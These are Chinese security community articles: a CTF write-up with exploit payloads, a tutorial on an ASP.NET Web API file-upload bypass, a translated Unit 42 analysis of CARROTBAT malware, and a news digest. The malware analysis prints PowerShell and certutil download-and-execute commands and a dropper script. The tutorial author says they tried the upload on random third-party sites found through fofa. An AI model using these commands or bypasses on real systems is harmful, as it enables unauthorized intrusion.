echo(@fwrite(fopen('C:UsersMeikeDesktopreverseshell.zip','w'),$buf)?'1':'0');;
echo("X@Y");
die();
?>
运行生成reverse.zip 文件，解压得到二维码，扫描可得flag。
### 2.mysterious picture
## crypto
### 1.confidential
加密代码如下
#!/usr/bin/env python3
import os
import sys
class XOR_CBC:
BLOCK_SIZE = 16
def __init__(self, key: bytes, iv: bytes):
self.key = key
self.iv = iv
assert len(key) == len(iv) == self.__class__.BLOCK_SIZE
def pad(self, msg: bytes):
l = len(msg)
padding_len = 16 - len(msg) % 16
return msg + (chr(padding_len) * padding_len).encode()
def xor(self, a, b):
return bytes([x ^ b[i%len(b)] for i, x in enumerate(a)])
def encrypt(self, msg: bytes):
padded_msg = self.pad(msg)
block_size = self.__class__.BLOCK_SIZE
assert len(padded_msg) % block_size == 0
count = len(padded_msg) // block_size
c = []
last = self.iv
for i in range(count):
xored_plain = self.xor(padded_msg[i*block_size:(i+1)*block_size], last)
cipher_text = self.xor(xored_plain, self.key)
last = cipher_text
c.append(cipher_text)
return b''.join(c)
if __name__ == '__main__':
if len(sys.argv) < 2:
print('usage: %s <plain_text>')
sys.exit(0)
key = os.urandom(16)
iv = os.urandom(16)
cipher = XOR_CBC(key, iv)
with open(sys.argv[1], 'rb') as f:
encrypted = cipher.encrypt(f.read())
with open(sys.argv[1]+'.encrypted', 'wb') as f:
f.write(encrypted)
代码逻辑是对明文按16位分块加密，第一块与初始向量iv做异或，再与key做异或；后续明文块与前一个密文块做异或，再与key做异或。
在加密之前，为了保证明文长度可以被16整除，首先对明文做一个padding
def pad(self, msg: bytes):
l = len(msg)
padding_len = 16 - len(msg) % 16
return msg + (chr(padding_len) * padding_len).encode()
我们已知密文和原始明文的最后一部分，那么可以根据上述逻辑遍历出key：从末尾向前计算：
密文1 = 密文2^明文1^key
密文2 = 密文3^明文2^key
计算这两个key然后比较，如果两个key相同，就是正确的key。
算出来明文补了两位，key:
[127, 84, 183, 104, 20, 239, 255, 134, 158, 177, 142, 38, 36, 137, 8, 162]
然后根据前面的分析，从后往前计算明文，每一个明文块都是密文块异或后一个密文异或key：
def xor(a, b):
return bytearray([i^j for i,j in zip(a, b)])
k = [127, 84, 183, 104, 20, 239, 255, 134, 158, 177, 142, 38, 36, 137, 8, 162]
with open('enctypted.txt', 'rb') as f:
c = bytearray(f.read())
res = bytearray()
for i in range(len(c), 0, -16):
tmp = xor(c[i-16:i], c[i-32:i-16])
res = xor(tmp, k) + res
print repr(res)
运行得到flag
### 2.Encrypted traffic
根据题目描述，salt为”zhangsanfeng”,根据hash长度，判断SHA系列为SHA224，剩下来只需要爆破6位密码即可：
import hashlib
salt = "zhangsanfeng"
target = "ac22543d5382cbf48b6ebcf6e40f123d9ca4b91f9998e4c2f2422402"
for i in range(100000,999999):
s = hashlib.sha224(str(i) + salt).hexdigest()
if s == target:
print s
print("flag{%s_SHA224_%s}" % (i, salt))
## web
### 1.Learning PHP
<?php
include 'flag.php';
if(isset($_GET['t'])){
$_COOKIE['bash_token'] = $_GET['t'];
}else{
die("Token Lost.");
}
if(isset($_POST['sleep'])){
if(!is_numeric($_POST['sleep'])){
echo 'Gime me a number plz.';
}else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){
echo 'NoNoNo sleep too short.';
}else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
echo 'NoNoNo sleep too long.';
}else{
sleep((int)$_POST['sleep']);
getFlag();
}
}else{
highlight_file(__FILE__);
}
?>
题目要求sleep是个数字，并在2592000和7776000之间，然后sleep这么长时间，给出flag。
这题主要考察is_numeric()和int()的区别。前者支持普通数字型、科学记数法型、部分支持十六进制0x型，在is_numeric()支持的形式中，int()不能正确转换十六进制型、科学计数法型。
因此可以构造6e6、0x4F1A01。
### 2.scapegota 1
根据题目描述，猜测使用了旧版本的gitlab，存在以前的漏洞，发现存在gitlab远程代码执行漏洞。
注册一个用户，然后import project，首先使用ssh-keygen生成公私对:
上传公钥文件，burp拦包修改path参数为ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
同时name参数不能为特殊字符，也需要修改
上传成功后，使用git用户和私钥ssh登录，在根目录下找到flag文件
### 3.magic
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这题详情参见：<http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html>
和链接中不同的是本题`_`也被过滤了，思路是要通过不含[A-Za-z0-9_]的字符传入code，使得code=getFlag()
这一点可以通过异或来获得:
payloads = '!"#$%&'()*+,-./:;<=>?@[\]^{|}~`'
a=""
b=""
for i in "getFlag":
break_flag=False
for j in payloads:
for k in payloads:
if i==chr(ord(j)^ord(k)):
#print i
a+=j
b+=k
break_flag=True
break
if break_flag==True:
break
print a
print b
可以构造：
code=$%7f=%22%27%(:,!%27%22^%22@@|@@@%22;$%7f();
### 4.the instruction matter
根据下载帮助手册的链接找到文件读取点：
<http://221.122.80.3:20020/download?file=>
读取该框架下web.xml:
<http://221.122.80.3:20020/download?file=../web.xml>
根据前面报错信息第四行：
com.chaitin.ctf.DownloadController.download(DownloadController.java:47)
猜测存在路径及文件../classes/com/chaitin/ctf/DownloadController.class，读取成功后猜测同样存在../classes/com/chaitin/ctf/FlagController.class
读取<http://221.122.80.3:20020/download?file=../classes/com/chaitin/ctf/FlagController.class>
反编译之后得到flag：
## re
### 1.ransomware
x = [0xFD,
0x93,
0xA8,
0x83,
0x93,
0xA2,
0xFC,
0xB8,
0x93,
0xBB,
0x8D,
0xA2,
0xA2,
0xAD,
0x93,
0xAF,
0xBE,
0xB5,
]
flag = ""
for i in x:
flag += chr(i ^ 0xcc)
print(flag)
### 2.cracking_game
IDA打开，F12 看到字符串：
点开：
进入函数sub_565924E0:
eax，ebx，edx是scanf的三个参数，也是我们需要求出的值。
看到这里有个判断，如果不为0，则跳到loc_5659269C，即错误，如果为0，则显示Bingo! The flag is ……
因此esi 和ecx都应为0。
根据上面逻辑，首先，ebx+5A46BABCh赋给ecx,经过一段运算后，ecx等于0，因此需要逆推回去：
ecx = 0
ecx ^= 0x80CAFC7B
ecx -= 0x67B243DF
ecx ^= 0x5702EC35
ecx += 0x2CF219D2
ecx ^= 0x0481EE77
ecx -= 0x57794904
ecx ^= 0x5D8ACD6E
ecx += 0x42596E22
ecx ^= 0x9D91B40F
ecx += 0x4EF22DAE
ecx ^= 0x3C5A9BE1
ecx -= 0x3EB308B5
ecx ^= 0xBB5D6AFF
ecx -= 0x4B8BF8B9
ecx ^= 0x2A3457E6
ecx -= 0x4D6F9F5A
ecx ^= 0x74A4134B
ecx += 0x3617A80B
ecx ^= 0x58E7773A
ebx = ecx - 0x5A46BABC
print "ebx:"
print hex(ebx)
得到
ebx:
0x8dd70651L
然后eax+376DA237h赋给esi，经过一段运算也为0，逆推回去：
esi = 0x74D86A5E
esi ^= 0x1363F241
esi -= 0x197C0136
esi ^= 0x5039B3AD
print "esi:"
print hex(esi)
esi = 0x11e062544 #这里直接相减为负数，因此需要高位补1
eax = esi - 0x376DA237
print "eax:"
print hex(eax)
得到：
eax:
0xe698830dL
edx赋给了ecx，经过一段运算也为0，逆推回去：
ecx = 0
ecx ^= 0x0DF2FFB19
ecx -= 0x64B87E0E
ecx ^= 0x5B589A
ecx += 0x7624D9FB
ecx ^= 0x97C13118
ecx -= 0x28EF6935
ecx ^= 0x5BF4CECF
ecx -= 0x6492A3E9
ecx ^= 0x0CDC4D471
ecx -= 0x20E21188
ecx ^= 0x85AEAF52
ecx += 0x68C8F0D3
ecx ^= 0x0DB034E6B
ecx += 0x126E5E14
ecx ^= 0x0D4A1204D
ecx += 0x1EBAD7B8
ecx ^= 0x3D898713
ecx += 0x0F5DED87
ecx ^= 0x63074EB7
edx = ecx
print "edx:"
print hex(edx)
得到：
edx:
0xc1ecd292L
flag{e698830d:8dd70651:c1ecd292} | 社区文章 |
# 利用ASP.NET Web API Help Page文件上传
# 免责说明：
##
由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我会立即删除并致歉，谢谢！
## 0x0前言
前段时间在一次攻防演练中发现有几个资产目标使用的是ASP.NET Web
API，当时以为是一个简单的未授权漏洞，后面想着可不可以利用帮助文档中的upload上传接口，对数据包进行一个简单的构造进行一个文件上传呢，于是产生了这篇文章
## 0x1关于ASP.NET Web API
根据Microsoft官方文档给出的解释如下： The ASP.NET Web API Help Page automatically generates
help page content for the web APIs on your site. Visitors to your help page
can use this content to learn how to call your web APIs. Everything generated
by the help page is fully customizable using ASP.NET MVC and Razor. ASP.NET
Web API Help Page is a great addition to any ASP.NET Web API project.
简单来说就是： ASP.NET Web API 帮助页面是任何 ASP.NET Web API 项目的绝佳补充
那么创建ASP.NET Web API 创建帮助页面有什么用呢？根据Microsoft给出的解释如下： When you create a web API,
it is often useful to create a help page, so that other developers will know
how to call your API. You could create all of the documentation manually, but
it is better to autogenerate as much as possible. To make this task easier,
ASP.NET Web API provides a library for auto-generating help pages at run time.
最后得到的界面如下
又或者是如下
## 0x2寻找突破口
我们此次需要构造的是文件上传包，我们全局搜索upload、上传、文件，file等相关字样
可以看到如图所示我们找到了相关的字样
根据文档提示：我们可以看出此处文档上传构造方式也比较简单，那么我们接下来就要进行一个post参数的构造，手工构造比较麻烦，这时候我想起了开发者常用的一个工具postman，关于postman，我在这里也简单进行一个介绍：
Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果,
从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性。
它主要是用来模拟各种HTTP请求的(如:get/post/delete/put..等等),Postman与浏览器的区别在于有的浏览器不能输出Json格式,而Postman更直观接口返回的结果。
## 0X3开始构造
关于如何使用，我这里引用了一遍博主的文章文章地址如下
<https://blog.csdn.net/weixin_48421613/article/details/118356645>
最后选择send发送
可以看出我们此时的文件已经上传成功，但是路径找不到先简单fuzz一波
经过简单的fuzz我得到了一个叫UpLoadFiles路径
这不得不佩服我的字典的强大，当然也归功于平时的归纳总结
<http://192.168.22.23/UpLoadFiles/20220907112814test11.aspx>
通过对postman代理的设置
我们抓包看一下这个数据包的构成
POST /xxxx/ImgFormUpload HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------997110380267407431328989
Content-Length: 255
----------------------------997110380267407431328989
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------997110380267407431328989--
用burp重放一下
这不得思考一个问题？这次是路径是我自己fuzz出来的，有没有其他的接口能直接返回路径呢？
## 0x4寻找其他接口
经过一番的寻找，我找到了一处
发现这里根本只能上传图片
尝试上传图片试一下
可以看出上传图片返回了路径，想办法绕过经过一番实验，我发现可以使用asp站点经常使用的双文件上传绕过
构造如下
此时的数据包如下
POST /xxxxx/UpLoadImgToNews HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------747868501381474511362162
Content-Length: 6482
----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="hha.jpg"
Content-Type: image/jpeg
¹6¼ÜíÔã0ØpáaËĵCd®z á¡édX
luH#q^ÃwfD¼«¯
N Oî¬!UbµesKyìEË
rßèPÔàÂÐNê¨!õÒöÑðÊÂ¥_f_ëÚ
q¹=jà?&¶^ì
Ru!ö{#füi_øSá/éw
ï;°ôì «
¬¦_d¡¤Sȵ!uC´ØY¬=ÇøÔ ¸Ï(
----------------------------747868501381474511362162--
返回包
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type,Origin, X-Requested-With
Date: Wed, 07 Sep 2022 04:29:16 GMT
Connection: close
Content-Length: 26
"/upload/20220907/hha.jpg"
木马路径：<http://192.168.22.23//upload/20220907/test11.aspx>
## 0x5fofa批量搜索
fofa："Web API " && icon_hash="1772087922"
经过随机测试了几个网站发现都可以用此类似的方法进行一个文件上传，有些站点直接返回路径
test1：
postman构造请求
POST /api/Files/PostFiles HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: xxxxxxxxxxx
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------076647936634298195979552
Content-Length: 255
----------------------------076647936634298195979552
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------076647936634298195979552--
## 0x6最后
总结一下：
0x1：如果网站有鉴权这需要利用其他接口获取管理员token，有的可以，有的不行
0x2：个人感觉这个洞比较鸡肋，因为现在很多网站都做了鉴权处理，一定程度上还需要运气
## 参考文章
<https://blog.csdn.net/weixin_48421613/article/details/118356645>
<https://docs.microsoft.com/en-us/aspnet/web-api/overview/getting-started-with-aspnet-web-api/creating-api-help-pages>
<https://zhuanlan.zhihu.com/p/502968186>
<https://xz.aliyun.com/t/5883> | 社区文章 |
“Unit 42
”组织利用先前未曾发表的报告中所提及的诱饵工具发现了一项新的黑客攻击活动，该工具主要被部署在韩国与朝鲜地区并作为诱饵来诱惑攻击者。这些诱惑行为包括了各种加密货币、货币交易以及政治事件。根据工具中所能查看到的信息类别，Unit
42组织称这个恶意软件为`CARROTBAT`。
在2017年12月，`CARROTBAT`在一次袭击中被最早发现。这次袭击事件针对使用SYSCON恶意软件的英国政府机构。而SYSCON是一种简单的远程访问木马（RAT）并使用文件传输协议（FTP）进行网络通信。
虽然没有证据表明此次针对英国政府的攻击使用了CARROTBAT工具，但此攻击的首次发现就是由于某个基础设施被多次入侵。并且在研究中我们也发现了这两个恶意软件之间的一些其他联系。
迄今为止，研究团队共识别出29种独特的`CARROTBAT`样品，其中包含12种独特的诱饵文件。
这些样本于今年3月开始出现，并在过去3个月内进行了大部分的活动。之前的实例提供了SYSCON，而最新的攻击实例提供的是先前报告中的`OceanSalt`，两者的payloads有所不同。`CARROTBAT`及其相关的payloads构成了这次被称为“`Fractured
Block`”的威胁活动。
### 首次攻击
2017年12月13日，一封钓鱼邮件从`yuri.sidorav@yandex[.]ru`的电子邮件地址发送给英国政府机构内的高层人员。
此电子邮件包含以下主题，附带相同名称的附加文档文件：
* 美国会在没有准备的情况下与朝鲜方面对话
在此附加的Word文档中显示了以下文本：
美国将“无条件地”与朝鲜对话：Tillerson，By Seungmock Oh
本文引用了`NKNews[.]`组织攻击所发表的当天文章。 该文章讨论了美国与朝鲜之间的外交关系现状。
附加文档利用DDE漏洞执行以下代码：
c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')
之后对代码继续利用。
此恶意软件示例运行的命令会下载名为`0_31.doc`的远程可执行文件，该文件又在执行前将名为`AAA.exe`的文件放置在受害者的`％TEMP％`目录中。
这个攻击payload属于`SYSCON`恶意软件。 它通过`FTP`手段与`ftp.bytehost31[.]org`通信以进行命令和控制（C2）。
通过查看控制SYSCON样本`881.000webhostapp[.]com`，我们发现了其他类似的样本，包括KONNI恶意软件和4个属于CARROTBAT恶意软件的64位可执行文件。并进一步转向属于CARROTBAT的特征码，最终导致出现我们在该恶意软件系列中识别出的29个独特的样本。
### “Fractured Block”活动详情
迄今为止，被称为“Fractured Block”的活动被发现已经包括了所有的CARROTBAT样本。
CARROTBAT本身是一个恶意代码传播软件，它允许攻击者打开一个嵌入式诱饵文件，然后执行一个命令，该命令将在目标机器上下载并运行一个payload。
总的来说，此恶意软件支持以下11种诱饵文档文件格式：
* doc
* .docx
* .eml
* .hwp
* .jpg
* .pdf
* .png
* .ppt
* .pptx
* .xls
* .xlsx
打开诱饵文档后，程序会在系统上执行以下混淆命令：
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将尝试通过Microsoft Windows内置的`certutil`实用程序下载并执行远程文件。
有关此技术和CARROTBAT恶意软件的更多信息，请参阅附录。
29个CARROTBAT恶意软件样本的编译时间在2018年3月到2018年9月之间。在这29个独特的样本例子中，11个诱饵文件被用于攻击，如下图所示：
韩国境内的大多数受害者所打开的诱饵文件都拥有与加密货币相关的主题。在一个独特的案例中，诱饵包含一名在COINVIL工作的员工名片。而该组织宣布计划于2018年5月在菲律宾建立加密货币交易所。
其他诱惑主题包括一些政治事件，如美国和朝鲜之间的关系，以及美国总统唐纳德特朗普访问新加坡峰会等。
CARROTBAT样品的payload各不相同。
我们最初2018年3月到2018年7月期间观察到SYSCON恶意软件的多个实例样本都是通过`FTP`与以下主机进行C2通信：
* ftp.byethost7[.]com
* ftp.byethost10[.]com
* files.000webhost[.]com
从2018年6月开始，我们观察到CARROTBAT放弃了使用OceanSalt恶意软件继续。
在撰写此本文时，这些样本还在继续使用，并使用以下主机进行C2通信：
* 61.14.210[.]72:7117
### 其他威胁活动
如本博客前面所述，`CARROTBAT`和`KONNI`恶意软件之间存在攻击目标重叠的情况。
KONNI是一种`RAT`，并且已经使用了四年多，具有广泛的功能。其通常利用`000webhost`等免费网络
服务商提供的C2基础设施进行攻击。而在撰写本文时，这个特定的恶意软件尚未被归类为一个特定类别，但是，其攻击目标一直集中在东南亚地区。
我们反复提到另一种攻击方法是使用SYSCON恶意软件。这个特殊的恶意软件系列于2017年10月被首次报道，并且已经被有关组织观察到其提供了与朝鲜有关的诱饵文件。这个恶意软件并不复杂，通常是利用远程FTP服务器进行C2通信。下面你可以看到黄色标志中显示的`KONNI`用法和紫色标志中显示的`SYSCON`用法。
最后，OceanSalt恶意软件的payload是第三个交叉部分。 迈克菲于2018年10月首次报道，此次恶意事件的受害者包括韩国，美国和加拿大。
与McAfee报告中概述的样本一样，在`Fractured Block Campaign`中观察到的`OceanSal`t样本使用与`Comment
Crew（aka APT1）`相同的代码，但是我们认为这些代码相似性是一种错误的标记。 `Comment
Crew`使用的恶意软件已经存在多年，我们不相信此博客文章中列出的活动与旧的评论Crew活动有任何代码重叠。
### 总结
发现`CARROTBAT`软件为分析“Fractured Block”活动提供了重要的关键。
我们能够使用`CARROTBAT`找到相关的`OceanSalt`、`SYSCON`和`KONNI`活动的信息。在此过程中，我们遇到的各种重叠代码都是需要我们注意的，因为我们怀疑这种威胁活动可能都来自同一个攻击组织。但是，我们目前没有足够的证据可以证实我们的猜测。
`CARROTBAT`恶意软件是一种恶意代码注入工具。虽然它支持各种类型的诱饵文件，并采用基本的命令进行混淆，但它的内部结构不复杂。
虽然`Fractured Block`背后的攻击者仍然活跃，但是`Palo Alto Networks`的客户可通过以下方式进行防御：
* AutoFocus客户可以使用`FracturedBlock`，`SYSCON`，`KONNI`和`CARROTBAT`追踪这些样本。
* `WildFire`使用恶意检测软件检测此报告中提到的文件。
* 陷阱会阻止当前与`Fractured Block`相关联的所有文件。
特别感谢`Chronicle`的`VirusTotal`团队协助研究这一威胁。
### 附录
#### CARROTBAT技术分析
具体分析如下，下面样例使用：
执行时，恶意软件将读取自身的最后8个字节。 这些字节包括两个DWORD，它们既包含诱饵文档的长度，也包含它的文件类型。
CARROTBAT使用这些收集的信息继续读取自身的结尾数据，并减去先前检索的8个字节。 此数据包含整个诱饵文档，并写入与原始恶意软件示例相同的目录和文件名。
但是此恶意软件根据先前检索的文件类型值更改文件扩展名。 CARROTBAT使用以下相应的值：
在这种特殊情况下，.hwp文件扩展名是诱饵文档。 诱饵被丢弃到磁盘后将在一个新进程中打开。 在这种情况下，BKN
Bank加密货币交换的白皮书会显示给受害者：
在恶意代码被部署后，恶意软件会在新的进程中执行以下代码：
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将使用内置的`Microsoft Windows certutil`命令下载远程文件。 在此特定实例中，软件将检索以下脚本：
@echo off
:if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)
:32BITOS
certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul
certutil -decode -f setup.txt setup.cab > nul
del /f /q setup.txt > nul
GOTO ISEXIST
:64BITOS
:certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul
:certutil -d^ecode -f setup2.txt setup.cab > nul
:del /f /q setup2.txt > nul
:GOTO ISEXIST
:ISEXIST
if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT)
:EXECUTE
ver | findstr /i "10\." > nul
IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)
:WIN10
expand %TEMP%\setup.cab -F:* %CD% > nul
:if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint)
%TEMP%\install.bat
GOTO EXIT
:OTHEROS
wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul
%TEMP%\install.bat
GOTO EXIT
:EXIT
del /f /q setup.cab > nul
del /f /q %~dpnx0 > nul
该脚本只是检查受害者的操作系统，并使用certutil可执行文件再次下载相应的payload。
在这个实例中，payload通过base64进行编码，其中certutil用于解码。 有问题的payload是一个CAB文件，然后对其进行解压缩操作。
最后，恶意软件删除原始文件并退出之前提取的`install.bat`脚本。
我们下载完成的CAB文件有如下属性：
此CAB文件将删除以下三个文件：
C2信息通过外部的`winnet.ini`文件存储，并使用XOR密钥进行编码。 用Python编写的以下函数可用于解码此文件：
def decode(data):
out = ""
c = 0
for d in data:
out += chr(ord(d)^c)
c+=1
return out
一旦文件被解码，那么OceanSalt实例就会尝试与`61.14.210[.]72 on port 7117`地址进行联系
### CARROTBAT样例
d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d
8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa
26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847
e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828
824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3
70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22
87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc
ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f
d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0
7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae
1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0
337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b
92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef
42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded
ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb
dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea
7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97
3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96
aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48
6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a
22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10
3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd
ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a
e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828
9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9
ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e
e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd
a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc
### SYSCON样例
5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b
fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659
fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5
da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652
2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27
62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7
f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4
0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358
f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084
e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc
1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968
2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48
5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf
0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b
### OceanSalt样例
59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6
fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63
a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0
59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62
7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897
59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2
fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958
### 基础设施详情
<https://881.000webhostapp[.]com/1.txt>
<http://attach10132.1apps[.]com/1.txt>
<https://071790.000webhostapp[.]com/1.txt>
<https://vnik.000webhostapp[.]com/1.txt>
<https://7077.000webhostapp[.]com/vic/1.txt>
<http://a7788.1apps[.]com/att/1.txt>
<http://s8877.1apps[.]com/vip/1.txt>
<http://hanbosston.000webhostapp[.]com/1.txt>
<http://bluemountain.1apps[.]com/1.txt>
<https://www.webmail-koryogroup[.]com/keep/1.txt>
<http://filer1.1apps[.]com/1.txt>
ftp.byethost7[.]com
ftp.byethost10[.]com
files.000
webhost[.]com61.14.210[.]72:7117
本文为翻译文章，来自：https://researchcenter.paloaltonetworks.com/2018/11/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/ | 社区文章 |
# 【知识】11月4日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Tor浏览器泄露用户IP、假的WhatsApp应用在Google Play上已被下载超过百万、包含挖矿代码的app出现在Google
Play、又一个“隐藏的眼泪”勒索软件：文件名为The Art of Amazon Carding.pdf.exe、如何感染PE文件Part
II、如何构造Android平台的勒索软件、Linux平台如何感染运行的进程**
**资讯类：**
Tor浏览器泄露用户IP
（由于Firefox处理file://的URL的bug，使得macOS和Linux的Tor浏览器（不影响Windows）用户在访问某个精心构造的网页时，导致操作系统绕过Tor浏览器，直接连接到远程主机，从而泄露IP。）
<https://thehackernews.com/2017/11/tor-browser-real-ip.html>
<https://www.wearesegment.com/news/the-tormoil-bug-torbrowser-critical-security-vulnerability/>
假的WhatsApp应用在Google Play上已被下载超过百万（通过Unicode编码的空格使得用户在GooglePlay上看起来一样）
安装之后会有推广其他app的广告
<https://thehackernews.com/2017/11/fake-whatsapp-android.html>
<https://www.reddit.com/r/Android/comments/7ahujw/psa_two_different_developers_under_the_same_name/>
CIA（中央情报局）违反特朗普的承诺，公布只有姓名+地址的JFK文件
<https://www.archives.gov/research/jfk/2017-release>
<https://www.archives.gov/files/research/jfk/releases/104-10188-10000.pdf>
**技术类：**
